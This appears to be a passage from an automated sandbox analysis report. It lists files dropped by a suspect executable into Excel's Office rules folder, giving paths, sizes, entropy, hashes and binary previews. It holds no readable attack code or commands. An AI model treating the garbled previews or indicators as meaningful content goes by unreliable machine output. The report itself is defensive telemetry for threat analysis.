Preview:	<?xml.......&./.....#'H.\........7.C...'8..\0..U..]....sN.].4.IqB...4...oD.m.O..HXS......s.a.G.f.?.3.I.:$%.P...uD.$...{.u.l.}.K..._.y....}Z.#.0ay.k.x.J..m]...-.N.."G....F...D-.>....D..\|....P...j.H..D......Z.B...2E.;.L.r..6....[.A..H.9Wz/qT.8..^.S."........!.\....TO.O.(.]..5.....u.-...`Z.A.E..ku..9..,[j.wi.-...w.u.Pi1.AVT.....Oy.&(0..\|....}.nM._.m.Ale..P1.Y........et.A/.e.{0l....2`TW.Kvgd.&........t..{....+2..Wk[.I.,.r...J....%pn.,..E...Uw...:q.J..y!c.>....LK..!..\"(....\.......b...:m.ZQQ......s.DT...5....{....ZwM......q.......S.0R....b...`.!(.&..yK..W....m.....L....JR..._./....W...,P&..7rI.f...z.D.#j.?S.{.C..;..NR.q9@zl.(V..n...g.s.`..8...v.H......i..n.....@....?99I....(..1&.+...]1.......?L^.m.3..}.....D:...<....?...(.`.>.\|._U..:...!.....Z4fF..F...j...[...$;....[.9......v.. .o.N........0Yl6KE...e.4.VvQ+.7.:...L...U.^...Nq..z..<>.uG.......x..F1..8&..C*"..,...8...m#K.Y...I,.X..D...[.......f..U=.S.....:...TI....O.3...G._).us<lsl....Wc.......)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.906638660193486
Encrypted:	false
SSDEEP:	48:fFLgpGoc8vV23aM8uJIlFp4QBZWGgNtNj3DPipGy9+8D:tLgpGmV23aMZJqFZZW5vT09L
MD5:	AFF659B9AD4045AA2102895AE660425F
SHA1:	068EBB0F540DD24B96F4B1A33B2A07EF0F621972
SHA-256:	C092191F6924AB45E2B737420D73652F33BA4E17E362ED8335BBCA9184A868CA
SHA-512:	2336ACB928C18CDEDBD7FE6A0C08283976BC69C714519A14D7FCAD53ECB10F3445661A6C8FB53235D922DB6745F877986D9F86187CFA8B2C26FF3D5E17E3A5E7
Malicious:	false
Preview:	<?xml`e)...:..NM?.@......u..@...=.......`Te.U..\|...Dr.&Z}.AK.Dr..8.^^6YE ..~...}.......D.:.I..'H.3.x{,.e......{0....z\..Z..v.w.9...!..>.@...x...@.}S...2..........7...!..F.\|l....PXk-..]...1..p..s..{.......TZr.....x.d....9.wc...Y..2.+.S....>.r...77:{.2ph.%...8^.ANK!rl.]..S_0x...-x/..:t.+!/L<...\|@..5-X\|.y^..Q.<...)R.G..Oe.d..n]`0..........=\..;...d.R...j;R.'.hF1nt.W/Hb..D......y..kW..8. .5.d...."....u.].<...B..\|.ON..`.2@.!.a...p....\|.T.....B.... ...potL........U.......4.^.Z.~.O .^7.......C..Y.vT.M.... Wt.4P..3...Qi.EY}.K.\|..<[.`.Z.K..'..!.j..^........>_G.c....3Z.j@...z...Pj.t.....4b1M.1&.o...lZm.4.......{9.....U...V..)EQnCQ.....\.TVvo.3.J....0.......g:...F.....F....V@......m(M.........v.....E../.w)....=A.$&.."..#..-...e.....:V.t.....m.&..g.L.Le..s...M.......i.'.......::.yC8A..O&..[....0..s.'.z..I.........!..I.)4.PAm..{.R..V8...x%.._....o....f... ..l.!tW...p.e..B.o.~..I...+..9.hM-..q......L..E...X]..9Xc8)...`.....:.m8...!!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.811344059255925
Encrypted:	false
SSDEEP:	24:OIN3260+VKKAOds5WcgzlN8rAAZHaFghHjnV+I24/3hX6QBJ54bD:OIN3J0+kKfu5W7zlNwn6KRTV+I2M16QQ
MD5:	3754146A44BC82F5D87FA7FC3F74A57A
SHA1:	2FE0E41973B0190FE79938496BC9B68D79141963
SHA-256:	C0E81509ABA239DE6466FB0E443F8D9C5EDF285B26627F1030B8AA19EE061E74
SHA-512:	FBF59E8BF86ABC80817FB2FB705FB0894940B12B3163352AEF7FA37B5D605C660DAC6029C531748A7493C6F2B5D7572297E09407732D9DBC1425FA5225745ADA
Malicious:	false
Preview:	<?xml.GTR{l........K...t.x?30..#K}..2.P.G;..^FZe..OA....\....p...~..".[...oc.@.=.".8.....t!o.=..h;v.{.NK?aH.D.F...hON..:.p....BZ.#.JaJ]uD9B..Z...6.....H1:....v......4.?..oS.h.A.f\.<b..P....\=.t.W..7]R..G)0.P&.A. H..L..R.I..GzK....N.NQ.S..0....(.....S..o..o..h..FA.`...M.."g.h`8.......D.l...?...x....q..h..p.....l.'....F.....V.p..;...Z..H..B.T#.x...7.>...=..O......t~...3...'.D.R...S9B,6G.Y..`.cV..u......k..(.....@.p...t...X.p....\.O....!t]....E}:....y..a{9.d2..` ..uT.)DR....}...3.GB...a.-..DT~..w..4\|.;Q..z..8..ty.(CQTI.t3.{.<..."_...I...7I.$G...G..g7.G...v...2.:......6."...;s.Tg....S....yQ...o......w.D._....9..J&.$.."...X.>...Yh........Np.3V..xHy.{p....=.>...i.9.".(..._.L8.Q...`...uoI.M......(......\...%.K.R.. ..Y4}..n.`..}...5....Z.........~.V....rm..GO..).^d...N..l.$%A9_.#. ..T.K..jh)..c.).+O:..m\....?glZd...C...!@B._..\|...?...Y+t...\.D..V&...x.-a.<..Vi..f.u1..).a4.p..V..7Ah..[....]^.....(...nlNt....7.nN....4.[../.......[8t....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.90761793721174
Encrypted:	false
SSDEEP:	48:BzO277q0Kc3EpzW4XG2HqMD6CL6g3bFkrsDfhBNiQL+D:Br7q0PUZXpi2LerstBNiWG
MD5:	CD95616BC28941BF867F1AE648CFBC40
SHA1:	4B68DA2D5B84DBF0192132E26BF095FC3015F87A
SHA-256:	A4C45F7419B86980D399AF2885DC3912149C5754BF70F612576FB77BA77797EA
SHA-512:	7967EEF68DE28AAAF633B0B75C39C92C14105ACCE7EF5895A41889DDB7B121A1FC13E4F1FBC3F2ABEA73876EDD62C4F7F37DBF284F59C1A8159426C3D19383DB
Malicious:	false
Preview:	<?xml..W.-....q0W.E..D..if..}.xE/.P./.......a.8.}..~V...n.}..K...'.....H.9S...E.........!...o..............ZJ^...?m..'^7zR....s..0./-..) .9...i........l/.7.....f....WS.x\.x..(...iU...[.......f...~.s!...e2.Q7....+.P...s....$/....;..U._..+0_.o...;..J4..wp.R...Y@..-..o.@q.J........9h....K....s.!........,........6...P.z.bF@`n..3]).../......%2`.`....q...Q.)4..1.k...1^..)1.....H..t...r.,J...v5A.b.6_V+..=.'..y.... .....i..M.g..i..0..m.'.V...9.U..;....._.../e3...g.c..Oc#......6..PS.p+....$..n..[.7..v..6...h.!Ir..p...W.c..#l...$C.....9.y.<.`:.;.....9.(.! i^..Ax............4.Q>.....r......Um\+.`Y_^......A$".H.._.........J.....j^x.\|........L.!....>.5..D,J..z..Ip3OKh.`?..#@'R.=R=..;jA.0..,\|..R}...'W.pN'{......~\..>...\|..w........X..i.!.....TN............%.....,..W........l..1....e..D.\.H.d..\.6..}.......nGA.A&.I...."...v......0....9c.yD..M.U[mG..\|.;m&...t...q.Q6.u....u3..`)..<..M^c/f......r.H.w.;..j.WL..@......8.....`a.?M.l3 .uJ(V.;\|....Re.*)>. .-\|.M.\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.836506745025755
Encrypted:	false
SSDEEP:	24:VKF95nKvSH9FYLkkfIxt42dXeJcB+OiaczbarrWSU7+73Q2pVbD:QF9iYYLksIP42d0cB+OiS7U7GpFD
MD5:	6AB26EFC9A3E2795BB8495294DBF30A2
SHA1:	0EEB348EC53CA04FDCDA9FE50C8F4D4B7C20A15E
SHA-256:	2562D0C0F763AEEF914D648150BA7E05883994001F8B23CAB602EA03D25F041C
SHA-512:	44B5113379D52C3B0DB9E99681A2522F87A80926BB4CCCB584197CEFB33409BF7355C08C388C687C69DA407F142164594B366E968343DEEF56C2911016A6C0CF
Malicious:	false
Preview:	<?xml;}...._4(g......x...0.........v..H&.....u.X(.'..)q...2BF".....9Uk.q..i.`..}.yj..m...ERt.H?..;+.N....Y...V..K.U.....8.T7...I&...j..~.5...../..>..}...'kNiw.&~.?.. .BN.j.l.}.s...d.).#... ..R_}..h.rdA;1Jwx....;..Z...+.......!\|..0._.{d...e<.4....BL4v!~\V.o..7?`..\c.~.Vo.z.Z...J...e@...,JT...\..wf...@........\|.....e.."..~Gs.-.!x.K$.=...xu"re...Z#....B....$P@..t>:...J.....GS..\|w.L3...b...n.%~.....W...-......n....y...<..\I.&2...dO....O......O1.F.~~..lp..%F.\|..F[..#l5.}0........[}]...C.p........>..P.G...Z.I%.y5....._..($L.c)..E....pE.<..k#+.._.=.....?.;.:...F.Z bN......e......#..J...#...q...0Z.%.F.F2Z'..G....../...e.K]......msg...+KH..r...X..(,v.....E.3..Yj.$1.1...Kx.G..M}..n.g6.....`]....E..h.{Y(d.T=xr.-Vp.a.J.....(:P...:DA>. ..j.Gqe#....]...e..teg"R\|.]a[.....<...mG3..?...z.@R. .VXM.._.X...f..E..K.]mE.Pj...TmI7...5.s.n..O.txr.m..R..C..P7&G...m....eC.4z.f..j...h....j...uC...~....%..,.Qr...n.f.e....a8(....._\.sU.F..7.m#..V.1..+._).....9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.794390968543848
Encrypted:	false
SSDEEP:	12:zddJNazOuRb4zn+8N6V5NNq3T3mqC6GZ0AHRYnThDpFkJD+gSexl+dDS2cii9a:zzazJRkz8zNqD3VFAHRSBLkNdxlajbD
MD5:	1F4793929C83E44B241B742481B71830
SHA1:	B2909F52968CE0AAE4ED98C1E6DE49C935950421
SHA-256:	70E0AE576C32A48320ECC5FBEC919EDDE725A3685D7F2AAA61CB8A9AE0F4729C
SHA-512:	E087FDB00F52B0879228EA9BF21D9750D46C17B480E75C766EC6F10B8271C9C1E8CEE182FEEF9E5FE70E5E20FD1047B789E7E5A9895DCD9EB7F6D591C71F949E
Malicious:	false
Preview:	<?xml.'.......,.Q 7xe.....'..-w ..R..e.>...m...z...f.,............$.0.S.......5..E.2......&G.....>.aw.L...^[R\kE......o........#.vG......C..>AD.....f..../n.L.E.,....24.=..RH.q.]..~7........Y.....q.....N7..........]n.O.......F..v.....-..a..!P:....-:.H?.......nv.Ok@bfe...qo..O.E.o.._.9\H...,...(H.^....=.m...~....uF...8...~...TG......0p8.y..b.2.U\.K..!.....IM.t%..B&G.+..3.O..x.....#.z.#s........n.D%.#....(.m.[.;q%:......3...M&J`..>+V4..\....b..R[8q.2k........;.mI....^~..^.e.c..P>....:?..kk..C.E......v..R........)....#...U.....1A..a .-........klBlz.x.Ry.(.._.t..W?ejh......j./....~ve..@qiP.....*.gV.:S...h........Tj..]7,.K.........MK...e...`Nk^........(...V...<{h...7.r..qq...2..?I....7.....Vm......0...].ZU.......w...d@$Sp..+.".?..EG,..L...#8..j..k.,..^..3...X.&......R.6. .LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.896948148844001
Encrypted:	false
SSDEEP:	48:dfIPjjeXK5OztcZ6NDbCjsw5xu9QAJNZQnhmNtTh+6ybD:dgPIMmNiQPJNqhmNNo6w
MD5:	2917994EFCD2282EFDB9635E47DCEAA6
SHA1:	BCB59ADD12330F5AC2BC53D205B9846740D4AF2A
SHA-256:	AF3B043AE1F1F8E1A174E67FB95952DEDCC4FDE504988D3BE3329EC1492C5231
SHA-512:	BD50D86C2CDE1B0C60C603EEC99E52C4E8A9E9E372311DE5697FB14CBF6858DD96E1889B804537A0AACC9AECAD6704CCDCFFBC27D938506D2B2C58297C5403FD
Malicious:	false
Preview:	<?xml.<.M]....$.BlAX....p.8.Br6.j...]QVy.@...8.@U.U....T......n.T.#?$.....Q.KGI.!..j.#..>..K.c0) .(..a7..\|.6...2?.......k..LEI.Ra...e.].a.C..X..!U._OH. ..g....j.Rm...@...0.O.....{m...5..i.D....k...)}Hm.:.NS......b.?.....f...6....F..Y..#`O.sMc...";....A\.......C.o.i.e`....Bal..IL..'........P.Q.CX.1..O....EO.`.c...<{.L.9o..-..._.r...%F{.Z.:.,"...`...:.X....T~.H4d..U>.-I.#.._...]\|.."W...o~.I.{..(.._..C...J.a._.a.....P."#..{.#"5...k.....]....!Ff8.E..caM.\..7.k..]4'..x.X\]..o..\|..v.3..."....h:...B..Bn;g.`4...O..+...e4:M.S.....~.%..G.....Q...]T....+)..G.8,g...J......&...KP9Y....r_.e....w..(k!....1..x.....x.G& l.....wCP7..[ 3&...c..gd#.y.v.......:b..\|=.P_..&9........sv^..~.....9..p...S...YU.s.,'v...O.)a^...0Q.#.e......P..h...,s..........9W.R.../....'.z..(.mX.&.Q..M...v`......Qji.g?i..:!.....4.j....-.*Q.[.....D...j.....9..p"l....s.o..P+~....QI...GP<.za.?.G..X__..m...X7..xm......LHwQ$x.....P,.p......0..a[.>_.I#..v..6B...Y.,_t.:.u.#...E......?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.8646065225094555
Encrypted:	false
SSDEEP:	48:f4yJh09s1gyARz6s2hS0OPYPuENB/kzEMD:TJh09oERzChePYPhNBszp
MD5:	C51FC6B6B278352C329CC389B67DCBE8
SHA1:	4568310664F98D12DCE1B4E9984E57779D11317A
SHA-256:	E7B33724B5EFC597348DCE9CC14C2A4876099A13172F79ADACB8583B44593602
SHA-512:	802B5C36708E9C12DC8FA76BF9CF117974C4BA21EFBD73906EAC1E732D603E0C7A89E18C41F442161DD85E0C3F9148F20A050AA9F6FB2D169229091A7EFDACBE
Malicious:	false
Preview:	<?xmlT..B.V$.TI..Z./.m..`q"....Y....5.H.. ..C7.?.?,....k.d'zr. A...\|...z...m.d.Up..\~(.a.x.'.f.%.H.7.lj.A.g.._l.6......&...=X..@L......+.K.@(..).....z.....AR..Gh...".......3%.Wa...i./C..[.v......D..&SU........h..........PA....k....!....p..w.,.M,B@e..U...&.m..!y)"6EJ=t.cE@......"...b...I...#Z.KO..I....\|..= ..."...$.......P....G;S..`.U.b.....S.;..#r...a...vPu.)..P.s....Ls..@x..M..[^._....1.U&.e.C..K.`(.t....o..R......:W.m%..#.LT.7:zh.+.[.../p.....p.}...K.6.Q..7..eH...A..\.v..p..S..nod@H...n.^h.;......La..Q.7$y.i'{..[.,..Y..m../.4.m....k.....V..1.......I..f.9..wGS.%....xk.%,....z.m...!........L1`Z.OO..V.D..69vi[:.....^...(.d.m.. ..............r..x..c......ugU.`...K...3?).LG^Z}'M......7?1`}.>.1...B...1..p.......T`4....F..........y.H\z.gI..qU@.>V!.......K......0;...>..q.k........A.......o..h.!:..;\|..7....3d...f...K)...x.A.$....q...w...C..hH.:..........d...m4m/...Jc..u...j.U>..',l..].....>..e.c.#.6..B.0..g......~'...V>.....{..w..rM...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.823163783065635
Encrypted:	false
SSDEEP:	24:0fNjPIZzWO86vis9mITq46DG0vdQyWbBqoXV2BWbIk9obD:0fRwZitUr9fm46DQA+yD
MD5:	A63E81E58927D45A1F2B86E4CBC45884
SHA1:	FA08E9BB66EB6D2EAAAAC5DEAA7AE5E05DA37A26
SHA-256:	1D1AD99AB315937F584D554FD6393FFB676760B4513E3963F875376C76FF31BD
SHA-512:	9CAD95997B18CE0C23072A6110F75BD8BCCF30760F6803F91E83C332CE71919B9BFF31EB1B6D9FADDCD9D87D805087F6C83EB7E548F0AC540AFC14E8DA55040B
Malicious:	false
Preview:	<?xmlfQ.\.y{D..K..5...d..).Ot.......;.)x.]...."A .D..D..?.E.4u...D:....S...6...J.#...C...]....X.....F:......`Q............s.B.....\..Sp.5.h...M..D.pb..js..... ....$K.....T..>N.AQt+....3..q........."}..A..#.B..E.aP.yg..5.j..'<Q. .r.1.$......coR.&....y...Pp%..[.Y.'.......v.......6..2..O%....1+...8.J7.I.E..!..m..\..y..3.=-f&N.N-R.h..R(.Q.utQ/..z.....dM.\|.8]...!......}...:.3..&...n.Z`..H.&c....#.qchL.".@.j%.u;.....:...C.).(...\@.K.\<s.TV..{$s.;...b-(.).....U.j..V.=j...c+..,..-....f...D.@Z..NA..d...y.ztA.....]...%..]........5.5C...c....x......n.V#......n..>..R.c^........K....s.KOa....3...^J..J.....e.f.)..}ymi.".C..Am....l.pz......c....R..`Ggc.]..h.(..!..h.....x'VD.6..v....Q..A.n.hxG.V..J.....XY.OS.++.......cS......h..6.B...xE.... ..C.N......~K...(...i.w.8.0B...l..S.........+.$.."....N.Q..M..[..)...<....}....b..e....8..2.e.X..........:.L@..q..Z...r.J......\|.....w...u...!.r.up......o...Y....X=.....;F.3....3Ui...`.V-...X..t....y.%^..5(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.686679270532962
Encrypted:	false
SSDEEP:	12:Ggq8jse00EW21MwkokRvvyKy3plA4j9RmIfCiW1YqOXHXtYWUaPMjWUTjAS2ciik:Gl8Qe0HJp3F9bweHtYWXmMbD
MD5:	1F4557D4E5F2093486D85FB48E855E7E
SHA1:	A9171FA221913A1A46D6A5291093495F884D4918
SHA-256:	FFAF945C633E0400DFE3B318D5459FADB42CA20A000188DED7229F639A056A54
SHA-512:	C31DD216E3ABDDD81F43FD0CB6063C46982534555280E1BFC8112015874CBD6CAAA3BE65F0FC354BE1B810CD2E870E2D9BE59E5E565B1D97D363E64198D32C3D
Malicious:	false
Preview:	<?xml.5......A.~.....h..).........v.r.,..FM.:..7S.....k.....}.._...Qr3....H6...)...7..;/"....C..L.Rw.L...:.......oQ.......r.M.>!.%u.k..~....z.W..N..U.h.m..1.'.....t.....pZ..c........>......fj.G1U.....w..wu.~U.........O..=q>$!.e.t..p....x.,E.KZ.)X...5..<..B.......>\R..+...N>zx.........G.!..........8~....k....Y....X].-b..I+J3 a.+..k.p.5.%....S...;.<P...A:....D.....H..1.U.-.....j[.d.a.`m~.Jt;...~....h.....).1.@..-..v...HQ~D.!..T.AF./....st.B....a..&z.....8.%..7.~.m..U....=..R.t........{(..0......f.bG..x......=H7l..Y...q..W....=3.2..j2T..IW..<.....#.bM....d....vY.C.K.....5...P.49..[.Z....V.cTG.U...z........Z..../.......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.779284135910359
Encrypted:	false
SSDEEP:	24:RB0vrTKmHVaZmqR88bYumOQirz9qVVqZIa2zbD:RMrumHVacqtv3j97ZSnD
MD5:	4BF5FBBE50F7D6CD6D3778B7AB0FCD8C
SHA1:	AD4D58A984FD5DE643C5450AE3EB49D44DF3C6DB
SHA-256:	701EE8E3BE5BF769DC437EDBC51ED679B71A72C201267140E5E263BA3D1AD2E8
SHA-512:	C1099AF7F9E16345DDB75F1478459D6EA4E0BBF765E5A0D1B552243CAF0502BF05C2A455D24E1766BB85CBEFA24EADD51BF8C83CD1043113F3B983DA757DFBAD
Malicious:	false
Preview:	<?xml.U.=..K.x-....s$.....=W..........z."Q.......5.wJ_...?..H.-@^.D.......C........:...!.t....&L.E..:..j.......i,<.fJ.xdv].[7gaf3F?....R.:E.i...`s...{..;.~D...x.6...}..;R...ul....8.%mdp....R.h..jJ$......q....1...<...Q..c..c..F...{5.).7.q.?#..<.......[....Y..g.s...]Tb..@z.{7..D.....o...vY.C...6#..m,D.B.......!.m..ox.RUG.0\|c{w.....q..ao.. 3D.\.)$......wW...Gj6..=..JWD.A..$..4.._t~,.$.`....`d{s...b..j........\|..]...Z.c(..maQ%..2.B2.Q.t.E(FQ...w:W";.x.+.....F..i.Tg..W.....M.o...a..>v...K.y..J..%....j;....y..=mO....].....2..T&...P........#R......m....&......A...Bs.l8... ..b........p......./.........C0.C...X..yK...lg...8.d"_...W<....[.7.!M.Z\.T<.x.:....k.d._&......-...D}z.7^.u...,a..}..`..uS...4...;.P<u..]..K..4.....].m.5A.y..d=.r.Ne..X...b.I.5.t:=.&Q.....I..%....m......mm..I6O.0.......+..).p{0.b...Q..R.8+. 6.dU.J..$....c<.Cbo.d.8S.0%....0.!...a0.wI....o..}.Amm_..B..r...~.*..^..0..^.}...i.....rs...."LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.720078543062044
Encrypted:	false
SSDEEP:	24:3k5HZDqfpJb9mc3bsl2zkFy5A6Xo0SmbsbQbD:3k5snb9m+MssWD
MD5:	5A03835B775636E1924041B0B8C5BBAC
SHA1:	3B00F705EB638256E83C0ECF9448F652A101F1F7
SHA-256:	AE9C78E62A2539A8D3F505F69754834D198453686BC8B89A949ECA7D6A54FFC5
SHA-512:	7529BC4360ADF9FB591F8D71984BFF4C6A6F4CD5EBC19E2E8EE0F635E9D6B1772B37F19972AADA032A170230A5657A9D7C1EE0B1D512FA330775A648BB1E1653
Malicious:	false
Preview:	<?xmlZT.'.........0....~I>rk.%..t..3th.#s...N0...lQ..g......SNv..$.......Z....~...q.N....r...]A...'I <...U.3.%&n...nzg..1.Q..0.;f....C....0.0.....E.0..E\|.P9b`...C...bG}../3M~.l....N..>?....^2."....?..(.g.@X.."N....k`'......z....rPNnRA.H...h.I!Ql.%x63 .G.{..(h)..r.`qaq.....*...V....h.].,F.n.p...H.....5.T.....=......f...d..5...Gz.H..~-!....-.7.7h..:..q.I.w....$.....j@..BsY.81Z.H.A.k...q.eD89..iE.]. ..JG....Z..L.[..zb..B.2A...#.lz..1..+...h...at..=P\@..W.....K...91....K3....1...a....'.'K...2Mae........-2S'...d.:H.......%....6}...:..m0..U......!..,..o....H.:9..j.'..R.H=3.mN.l.S....`^....i..\|Jn....BO.7t;P._.A......IC..fZ}..I:u..........p\...x..&.@.0..E.....S`.R....D..!...fQ.?x\..U~8/...S...w..&..n....^..0`.`U....6..L.....G.m.....1B....].`../.N.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.860157989335088
Encrypted:	false
SSDEEP:	24:I5Q5VZN2UyiRvLnXDMqGrC+pQCYSwLb58Y1rLLweHqLWnw8AbD:JNLRTgqoQCYb8QvLw0uzD
MD5:	F506DAE321427B56F515ABFF5BD33C3B
SHA1:	4F3AE885FBD4570C81196B4653BA895F2A8A4556
SHA-256:	01600211B4BC1E41AEE57FA56ED40AD78B326F5618F0EC632F01CECD3FA58453
SHA-512:	B2363347A260930EF8AA948152F39C2E19D233BC30DD35D4FE8D7DC926EF98FD319B366E313641A48BC10E878D349E33D40ECFD3BC8DB639D2FD2553618CB80C
Malicious:	false
Preview:	<?xml5.2....0O....!.....)..:{b...\.X..x...R.&.....w.H.Wk!g^...r..a..Bmw%..!#.L.5.Jp.Qft.]S...0...m.b.,b1..._....].W.%.\|..Q..s....TI.)..6.N..(.M1....N..jJ....I.x.....Z.C......JE~..NI.\..t...u..{..2}6......r...).<U...3.<....U.."{.Cs.......W.k=ju.....B.{...0.m....Y.K.Q...?U_g....H\|......q`...f3..2.L..n7-.Xh......?.".....y.pj#...1wcM_.v.K3e..f,n~..m.S.h.....j.e.L.....V....;..d...\|"hm...h.u....u..r.A.7...U.....lM._..of....#...J...I.%....Z.......T2.:.e..B..[G.K...{u.....$.....f....D...Y.cs.g.r&.T#.Z....`.......u7..N.e^<.7hCp+LD.8p.nc..v..(op..e.....5.h..G..I.U.b/.$^...t6......).....+srD...)...`iX..7..<....?.p....6PvS.8-.....,..:.8..x.U.0.h3X~.S....%.....A..\|^.].....6M.L..;..$..0..&.....&N..%...4.....Re.0../....t...qs[....$...w.\|.^7'.*A..}.~....""..d.......c...'dd.2p.-..b.....h...?,..P.o..Vu.....f.XT....U..q......V5...eRZ.+z.mgV....c.....K.0.......-.-.E#..>..J...<..WX.`..."....A...E.Q..\|....(y.....S.).m....6$..\.....4.S]=,....L...6...]..`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.891557250368446
Encrypted:	false
SSDEEP:	48:HvsO8TyQzIVftHrzS328w0mpNMUZfBZGwYmo/aaIb+xPu3LzjD:UcQ01ty3282e0BZp/wAPn
MD5:	E8DA0C819BABB478A3E38EAADB5AE8EA
SHA1:	1B58F3DEACA31563B12C94819CB4A99B12F3AB55
SHA-256:	36D88AB58EEE3705783B2F2EFA0352604B85786C15959D84C3F78FE47D649501
SHA-512:	2BEDA74CFCCE86B43D984F1F60AA037E778EA8E611CF96E69924542A806737B1ED9793877E2BFB8E163D41FFA5D9A36F144501B69F544175D5550ECEB4B70A3C
Malicious:	false
Preview:	<?xml..x./".:g@PT.hN...........&.{.fh..'..s..qu.)h.4].%...b..=..U.........`.n....E..\|..!....St..%.[.z.,./m.>.{.\|.>.#..gv.....T..?...;...0....%.0.".....?..2...;.....A..@'l..Q..#.."....e..3t.h>.!..?3.fB.I..d.;...U.... .Q.. f.h.C..yE.z.XX2...C.W.F..?........P...lRI.,.{a!...).....z.......O..z..lm`9...q...G.z..-..............i..\|...PWI.WV...^@.}...u.s.:.!8Q>&.A!...k2_.><...F,L....3...E.K4..u#f.]X.)#..hzu...?..?0.."\.....&.x..c....<...Kju.t.r.oA...W.7.@..BW.jpx....OB".v5..>Y........../9.....c....\|5c...r./...0....M;@..R.N.a...^Y./..P3.:R....YjU.@t........N.7..#...i.S....1.3.......-.....X..I.k-5.A.:&..........1[...1...P....PK+.u/..... ..;...A..."..U[>p..P .iT.@..q...L6...1.&.Vd\.Pb.^lF.~._.\w....\|{&.......2.V0J+.I.m.<........oe.O....[.ed..kg.id.D4....M...{h...-...*.Q.T64(.q.X..=.&c.b.O..l........j.'.........v.4.%..3+.q..of...&.P.......v....w.v.8. .u...:.Y..rC..E2.?n]..L..s".x.:2Ls..e..l....Yem40.<@[...R..6..G}.4.~.U.....r..,.~#....-.H.O..4z.Y...\...T..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.910798044127584
Encrypted:	false
SSDEEP:	48:yr3ioqaowezxzDIT5s+e2WvvZgeXb6gaeh//kJPD:IftWt0T5szvW46nUXOb
MD5:	1EADC3A8C5C480B432501FE740FE200E
SHA1:	303FF979F1F5911E92B0A7E99446E902FEFC970E
SHA-256:	A2EAFF324A755ADE49AA13CDF2F6A5B56F744ED3B61B4B433E21A7E074686A8D
SHA-512:	65DF684EE6707D1715CD62BD1BF4B6B427BFB5B62DD6F3D26FE1B47A64382C02E89FDFFF7FE079A2CF1E0F5DD36609B3AB68B57A109A49A4F37A5C369893E4BD
Malicious:	false
